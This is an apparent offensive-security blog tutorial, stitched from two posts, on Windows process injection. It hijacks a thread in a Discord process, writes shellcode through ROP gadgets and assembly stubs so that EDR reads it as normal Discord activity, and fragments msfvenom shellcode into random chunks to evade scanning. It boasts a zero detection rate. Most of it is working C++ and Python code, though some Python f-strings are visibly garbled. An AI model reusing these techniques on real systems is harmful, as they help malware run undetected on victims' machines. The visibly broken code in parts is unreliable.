Next up, we need to write our assembly stubs which will increment both RAX and R8 registers by 8 so each time we write our shellcode chunks (8 byte chunks), we go to the next shellcode chunk and next 8 bytes in memory for the shellcode memory address, respectively.

Writing the Assembly Stubs for RAX and R8

Let’s dive in right where we left off. Here’s a visual of the code execution for all the assembly stubs getting added to our dedicated Gadgets memory address at the 0x800 mark. You can see the individual shellcode chunks in RAX and the shellcode memory address we’re writing to. notice how the shellcode memory address is incremented by 8:

Now, go back in to x64dbg which is still attached to our Discord process. Copy the code stub address, and in Discord do another control + G, paste in that address, and hit enter. You’ll see our assembly stubs!

This is where the magic happens folks 😸 This is the indirect writing mechanism I discussed briefly earlier. We will be indirectly writing our shellcode chunks into the dedicated shellcode memory using the mov [rax], r8; ret gadget and NOT WriteVirtualMemory. It will appear to an EDR engine like this is just part of Discord’s normal functionality 😄

Well if you’ve made it this far I extend a massive kudos to you! I know this is a lot to take in. We’re almost there though. First, here’s the code for this section:

//*************************************************
// Generate assembly stubs to set R8 and RAX
//*************************************************
std::wcout << L"\n[*] Generating code stubs..." << std::endl;

std::vector<unsigned char> allStubs;
uintptr_t writeAddr = (uintptr_t)remoteShellcode;

for (size_t i = 0; i < numChunks; i++) {
    // Extract 8-byte chunk from shellcode
    uint64_t chunk = 0;
    size_t bytesToCopy = min(8, base_size - (i * 8));
    memcpy(&chunk, shellcode_base + (i * 8), bytesToCopy);

    // Build stub:
    // mov r8, <chunk>      ; 10 bytes: 49 B8 [qword]
    // mov rax, <writeAddr> ; 10 bytes: 48 B8 [qword]
    // ret                  ; 1 byte:  C3

    unsigned char stub[32] = { 0 };
    int offset = 0;

    // mov r8, imm64
    stub[offset++] = 0x49;
    stub[offset++] = 0xB8;
    memcpy(&stub[offset], &chunk, 8);
    offset += 8;

    // mov rax, imm64
    stub[offset++] = 0x48;
    stub[offset++] = 0xB8;
    memcpy(&stub[offset], &writeAddr, 8);
    offset += 8;

    // ret
    stub[offset++] = 0xC3;

    // Pad with NOPs
    for (int j = offset; j < 32; j++) {
        stub[j] = 0x90;
    }

    allStubs.insert(allStubs.end(), stub, stub + 32);

    std::wcout << L"[+] Stub " << i << L": R8=0x" << std::hex << chunk
        << L", RAX=0x" << writeAddr << std::dec << std::endl;

    writeAddr += 8;
}

// Write stubs to gadgets region
if (!WriteProcessMemory(hProcess, codeStubs, allStubs.data(),
    allStubs.size(), &bytesWritten)) {
    std::wcout << L"[!] WriteProcessMemory (stubs) failed: " << GetLastError() << std::endl;
    CloseHandle(hThread);
    CloseHandle(hProcess);
    return 1;
}
std::wcout << L"[+] Code stubs written (" << bytesWritten << L" bytes)" << std::endl;

Now on to the final section: Setting up our Thread Context and Resuming our hijacked thread to execute our ROP chain and assembly stubs!

The Final Stretch - Manipulating our Hijacked thread to Execute our ROP gadgets and Assembly Stubs!

Believe it or not, the final portion of code and the conclusion to our Living off the Process demonstration is not too crazy. We just need to do the following, in order:

• Suspend our hijacked thread
• Get the Thread’s current thread context
• Set the RIP register to our code stubs within the Gadgets memory region and the RSP register to our Gadget’s primary memory address
• Set the Thread Context to our new Register Values
• Resume the Thread!

Here’s how that looks as far as code goes:

 //*************************************************
 // Set up thread context and execute
 //*************************************************
 std::wcout << L"\n[*] Setting up thread context..." << std::endl;

 if (SuspendThread(hThread) == (DWORD)-1) {
     std::wcout << L"[!] SuspendThread failed: " << GetLastError() << std::endl;
     CloseHandle(hThread);
     CloseHandle(hProcess);
     return 1;
 }

 CONTEXT ctx = {};
 ctx.ContextFlags = CONTEXT_ALL;

 if (!GetThreadContext(hThread, &ctx)) {
     std::wcout << L"[!] GetThreadContext failed: " << GetLastError() << std::endl;
     ResumeThread(hThread);
     CloseHandle(hThread);
     CloseHandle(hProcess);
     return 1;
 }

 // Set initial state
 ctx.Rip = (DWORD64)codeStubs;           // Start at first stub
 ctx.Rsp = (DWORD64)remoteGadgets;       // Stack points to ROP chain

 if (!SetThreadContext(hThread, &ctx)) {
     std::wcout << L"[!] SetThreadContext failed: " << GetLastError() << std::endl;
     ResumeThread(hThread);
     CloseHandle(hThread);
     CloseHandle(hProcess);
     return 1;
 }

 std::wcout << L"[+] Thread context set:" << std::endl;
 std::wcout << L"    RIP = 0x" << std::hex << ctx.Rip << L" (first stub)" << std::endl;
 std::wcout << L"    RSP = 0x" << ctx.Rsp << L" (ROP chain)" << std::endl;
  std::wcout << L"\n[!] Press ENTER to execute ROP chain..." << std::endl;
 std::cin.get();

  // Execute!
 if (ResumeThread(hThread) == (DWORD)-1) {
     std::wcout << L"[!] ResumeThread failed: " << GetLastError() << std::endl;
     CloseHandle(hThread);
     CloseHandle(hProcess);
     return 1;
 }

 std::wcout << L"[+] ROP chain executing!" << std::endl;
 std::wcout << L"[*] Waiting for shellcode to complete..." << std::endl;
 std::wcout << L"[+] Execution complete!" << std::endl;

 return 0;

And here’s a quick video demonstration of walkthing through each code stub and ROP gadget, showing shellcode getting copied to the dedicated Shellcode memory region, and switching over to our fake stack address:

Apologies that I jumped straight to executing the shellcode toward the end there. I thought I had more breakpoints set 😆 If you want to see how the entire process plays out in greater detail, I’ll have the full video walkthrough available for those that subscribe to me on ko-fi. Thanks, and hope you enjoyed this demonstration of my take on Living off the Process. Until next time!

Full Source Code ready to compile (Be sure to set the Build to ‘Release’ in Visual Studio!): Source Code

Bonus Content for Members! (Sapphire Tier)

📹 In-Depth Video/Audio Walkthrough for today’s blog post: In-Depth Video Walkthrough

🗒️ Updated Source Code to go with the Video: Source Code for Video Walkthrough

Bonus Content for Members! (Emerald + Diamond Tiers)

📓RWX Scanner Tool for detecting RWX memory regions in all processes RWX Scanner Tool

📹📓 Video walkthrough + Source code for Assembly to Machine code & Rop Gadget lookup toolkit!: Video explaining ROP gadget and Assembly to Machine Code Tools

📔 LOTP Exclusive Final Code Update - Hijacking a worker thread LOTP & Hijacking a worker thread

ANY.RUN Sandboxing

0 / 100 Detection Rate!!!:

Full Sandbox Analysis

Sponsored By:

So, with that little prelude out of the way, here’s what we’re tackling today. In today’s post, we will take shellcode generated by msfvenom, which as we all know is a highly signatured and well known payload artifact, and repurpose it in our code to evade in-memory and static scanning. It’s incredibly handy to just generate shellcode using msfvenom and not have to craft it by hand. Don’t get me wrong, I’m masochistic enough to appreciate a good handcrafted assembly -> shellcode payload, but sometimes I just prefer to be lazy and let msfvenom do all the work. 😸

In short: We’ll be breaking up our shellcode into randomized chunks, then reassembling it into a unique memory location using VirtualAlloc. Finally, we’ll execute it via a tried and true remote thread. Simple enough, right? Let’s dive in! 😺

Msfvenom | A Python Helper Script | Fragmenting our Shellcode

Let’s start out with a python helper script that will generate the necessary first portion of our code for us. But first, go ahead and generate your msfvenom payload you wish to use in today’s code! Here’s the command I used below to generate a messagebox shellcode payload:

g3tsyst3m@debian:~$ msfvenom -p windows/x64/messagebox TEXT="g3tsyst3m" TITLE="g3tsyst3m" ICON=INFORMATION -f python

[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 305 bytes
Final size of python file: 1517 bytes
buf =  b""
buf += b"\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xcc\x00\x00"
buf += b"\x00\x41\x51\x41\x50\x52\x48\x31\xd2\x51\x65\x48"
buf += b"\x8b\x52\x60\x48\x8b\x52\x18\x56\x48\x8b\x52\x20"
buf += b"\x48\x0f\xb7\x4a\x4a\x48\x8b\x72\x50\x4d\x31\xc9"
buf += b"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1"
buf += b"\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x48\x8b\x52\x20"
buf += b"\x41\x51\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18"
buf += b"\x0b\x02\x0f\x85\x72\x00\x00\x00\x8b\x80\x88\x00"
buf += b"\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x8b\x48"
buf += b"\x18\x50\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x4d"
buf += b"\x31\xc9\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6"
buf += b"\x48\x31\xc0\x41\xc1\xc9\x0d\xac\x41\x01\xc1\x38"
buf += b"\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75"
buf += b"\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b"
buf += b"\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
buf += b"\x88\x41\x58\x41\x58\x48\x01\xd0\x5e\x59\x5a\x41"
buf += b"\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff"
buf += b"\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x4b\xff\xff"
buf += b"\xff\x5d\xe8\x0b\x00\x00\x00\x75\x73\x65\x72\x33"
buf += b"\x32\x2e\x64\x6c\x6c\x00\x59\x41\xba\x4c\x77\x26"
buf += b"\x07\xff\xd5\x49\xc7\xc1\x40\x00\x00\x00\xe8\x0a"
buf += b"\x00\x00\x00\x67\x33\x74\x73\x79\x73\x74\x33\x6d"
buf += b"\x00\x5a\xe8\x0a\x00\x00\x00\x67\x33\x74\x73\x79"
buf += b"\x73\x74\x33\x6d\x00\x41\x58\x48\x31\xc9\x41\xba"
buf += b"\x45\x83\x56\x07\xff\xd5\x48\x31\xc9\x41\xba\xf0"
buf += b"\xb5\xa2\x56\xff\xd5"

Now, copy the generated shellcode and place it in the script below. This script will randomize the shellcode into chunks of varying lengths. Recall that traditional shellcode detection looks for known patterns, typically in single memory regions. Fragmentation breaks our payload into small, non-suspicious chunks. Even if the first line has the familiar msfvenom \xfc\x48 and so on, it’s not feasible to trigger on all machine code instructions that include those first two bytes. What would eventually happen if all EDR vendors decided to trigger on individual machine code, is that you would inevitably run into a terrible time managing false positives. I take advantage of this 😸

Okay, back to the code. Go ahead and paste your shellcode that was generated by msfvenom into the python script below and run it:

import random

# Example shellcode (replace with your actual shellcode)
buf =  b""
buf += b"\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xcc\x00\x00"
buf += b"\x00\x41\x51\x41\x50\x52\x48\x31\xd2\x51\x65\x48"
buf += b"\x8b\x52\x60\x48\x8b\x52\x18\x56\x48\x8b\x52\x20"
buf += b"\x48\x0f\xb7\x4a\x4a\x48\x8b\x72\x50\x4d\x31\xc9"
buf += b"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1"
buf += b"\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x48\x8b\x52\x20"
buf += b"\x41\x51\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18"
buf += b"\x0b\x02\x0f\x85\x72\x00\x00\x00\x8b\x80\x88\x00"
buf += b"\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x8b\x48"
buf += b"\x18\x50\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x4d"
buf += b"\x31\xc9\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6"
buf += b"\x48\x31\xc0\x41\xc1\xc9\x0d\xac\x41\x01\xc1\x38"
buf += b"\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75"
buf += b"\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b"
buf += b"\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
buf += b"\x88\x41\x58\x41\x58\x48\x01\xd0\x5e\x59\x5a\x41"
buf += b"\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff"
buf += b"\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x4b\xff\xff"
buf += b"\xff\x5d\xe8\x0b\x00\x00\x00\x75\x73\x65\x72\x33"
buf += b"\x32\x2e\x64\x6c\x6c\x00\x59\x41\xba\x4c\x77\x26"
buf += b"\x07\xff\xd5\x49\xc7\xc1\x40\x00\x00\x00\xe8\x0a"
buf += b"\x00\x00\x00\x67\x33\x74\x73\x79\x73\x74\x33\x6d"
buf += b"\x00\x5a\xe8\x0a\x00\x00\x00\x67\x33\x74\x73\x79"
buf += b"\x73\x74\x33\x6d\x00\x41\x58\x48\x31\xc9\x41\xba"
buf += b"\x45\x83\x56\x07\xff\xd5\x48\x31\xc9\x41\xba\xf0"
buf += b"\xb5\xa2\x56\xff\xd5"

def split_shellcode(shellcode):
    chunks = []
    index = 0
    
    # Continue splitting until we reach the end
    while index < len(shellcode):
        # If remaining bytes are less than minimum chunk size, take what's left
        remaining_bytes = len(shellcode) - index
        if remaining_bytes <= 15:
            chunk_size = remaining_bytes
        else:
            # Random chunk size between 3 and 15 bytes
            chunk_size = random.randint(3, 15)
        
        # Extract chunk and add to list
        chunks.append(shellcode[index:index + chunk_size])
        index += chunk_size
    
    # Generate shellcode variables
    for i, chunk in enumerate(chunks, 1):
        # Convert chunk to hex string representation
        hex_string = ','.join(f'0x{byte:02x}' for byte in chunk)
        print(f"unsigned char shellcode{i}[] = };")
    
    # Generate shellcodeChunks array
    print("\n// Array of shellcode pointers")
    shellcode_array = ", ".join(f"shellcode{i}" for i in range(1, len(chunks) + 1))
    print(f"unsigned char* shellcodeChunks[] = };")
    
    # Generate shellcodeSizes array
    print("\n// Array of shellcode sizes")
    sizes_array = ", ".join(f"sizeof(shellcode{i})" for i in range(1, len(chunks) + 1))
    print(f"SIZE_T shellcodeSizes[] = };")

# Split the shellcode and generate variables
split_shellcode(buf)

I’m randomizing the shellcode chunks between 3 and 15 bytes. You should get something like this:

C:\Users\robbi\shellcode_code>py sshellcode_splitter.py
unsigned char shellcode1[] = {0xfc,0x48,0x81};
unsigned char shellcode2[] = {0xe4,0xf0,0xff,0xff,0xff,0xe8,0xcc,0x00,0x00,0x00,0x41};
unsigned char shellcode3[] = {0x51,0x41,0x50,0x52,0x48,0x31,0xd2,0x51,0x65,0x48,0x8b,0x52,0x60,0x48};
unsigned char shellcode4[] = {0x8b,0x52,0x18,0x56,0x48,0x8b,0x52,0x20,0x48,0x0f,0xb7,0x4a,0x4a};
unsigned char shellcode5[] = {0x48,0x8b,0x72,0x50,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac};
unsigned char shellcode6[] = {0x3c,0x61,0x7c};
unsigned char shellcode7[] = {0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52};
unsigned char shellcode8[] = {0x48,0x8b,0x52,0x20,0x41,0x51,0x8b,0x42,0x3c,0x48,0x01,0xd0};
unsigned char shellcode9[] = {0x66,0x81,0x78};
unsigned char shellcode10[] = {0x18,0x0b,0x02,0x0f,0x85,0x72,0x00,0x00,0x00,0x8b,0x80};
unsigned char shellcode11[] = {0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x8b};
unsigned char shellcode12[] = {0x48,0x18,0x50,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56};
unsigned char shellcode13[] = {0x4d,0x31,0xc9,0x48,0xff,0xc9};
unsigned char shellcode14[] = {0x41,0x8b,0x34,0x88};
unsigned char shellcode15[] = {0x48,0x01,0xd6};
unsigned char shellcode16[] = {0x48,0x31,0xc0,0x41,0xc1,0xc9,0x0d,0xac,0x41,0x01,0xc1,0x38,0xe0,0x75};
unsigned char shellcode17[] = {0xf1,0x4c,0x03,0x4c,0x24,0x08};
unsigned char shellcode18[] = {0x45,0x39,0xd1,0x75,0xd8};
unsigned char shellcode19[] = {0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b};
unsigned char shellcode20[] = {0x40,0x1c,0x49,0x01};
unsigned char shellcode21[] = {0xd0,0x41,0x8b,0x04,0x88,0x41,0x58,0x41,0x58,0x48};
unsigned char shellcode22[] = {0x01,0xd0,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83};
unsigned char shellcode23[] = {0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59};
unsigned char shellcode24[] = {0x5a,0x48,0x8b,0x12,0xe9,0x4b,0xff,0xff};
unsigned char shellcode25[] = {0xff,0x5d,0xe8,0x0b,0x00,0x00,0x00,0x75,0x73,0x65,0x72};
unsigned char shellcode26[] = {0x33,0x32,0x2e,0x64,0x6c};
unsigned char shellcode27[] = {0x6c,0x00,0x59};
unsigned char shellcode28[] = {0x41,0xba,0x4c,0x77,0x26,0x07,0xff,0xd5,0x49,0xc7,0xc1};
unsigned char shellcode29[] = {0x40,0x00,0x00,0x00,0xe8,0x0a,0x00,0x00,0x00};
unsigned char shellcode30[] = {0x67,0x33,0x74,0x73,0x79,0x73};
unsigned char shellcode31[] = {0x74,0x33,0x6d,0x00,0x5a,0xe8,0x0a,0x00,0x00,0x00,0x67,0x33,0x74,0x73,0x79};
unsigned char shellcode32[] = {0x73,0x74,0x33,0x6d,0x00,0x41,0x58,0x48,0x31,0xc9,0x41,0xba,0x45,0x83};
unsigned char shellcode33[] = {0x56,0x07,0xff,0xd5,0x48,0x31,0xc9,0x41,0xba,0xf0,0xb5,0xa2,0x56,0xff,0xd5};

// Array of shellcode pointers
unsigned char* shellcodeChunks[] = {shellcode1, shellcode2, shellcode3, shellcode4, shellcode5, shellcode6, shellcode7, shellcode8, shellcode9, shellcode10, shellcode11, shellcode12, shellcode13, shellcode14, shellcode15, shellcode16, shellcode17, shellcode18, shellcode19, shellcode20, shellcode21, shellcode22, shellcode23, shellcode24, shellcode25, shellcode26, shellcode27, shellcode28, shellcode29, shellcode30, shellcode31, shellcode32, shellcode33};

// Array of shellcode sizes
SIZE_T shellcodeSizes[] = {sizeof(shellcode1), sizeof(shellcode2), sizeof(shellcode3), sizeof(shellcode4), sizeof(shellcode5), sizeof(shellcode6), sizeof(shellcode7), sizeof(shellcode8), sizeof(shellcode9), sizeof(shellcode10), sizeof(shellcode11), sizeof(shellcode12), sizeof(shellcode13), sizeof(shellcode14), sizeof(shellcode15), sizeof(shellcode16), sizeof(shellcode17), sizeof(shellcode18), sizeof(shellcode19), sizeof(shellcode20), sizeof(shellcode21), sizeof(shellcode22), sizeof(shellcode23), sizeof(shellcode24), sizeof(shellcode25), sizeof(shellcode26), sizeof(shellcode27), sizeof(shellcode28), sizeof(shellcode29), sizeof(shellcode30), sizeof(shellcode31), sizeof(shellcode32), sizeof(shellcode33)};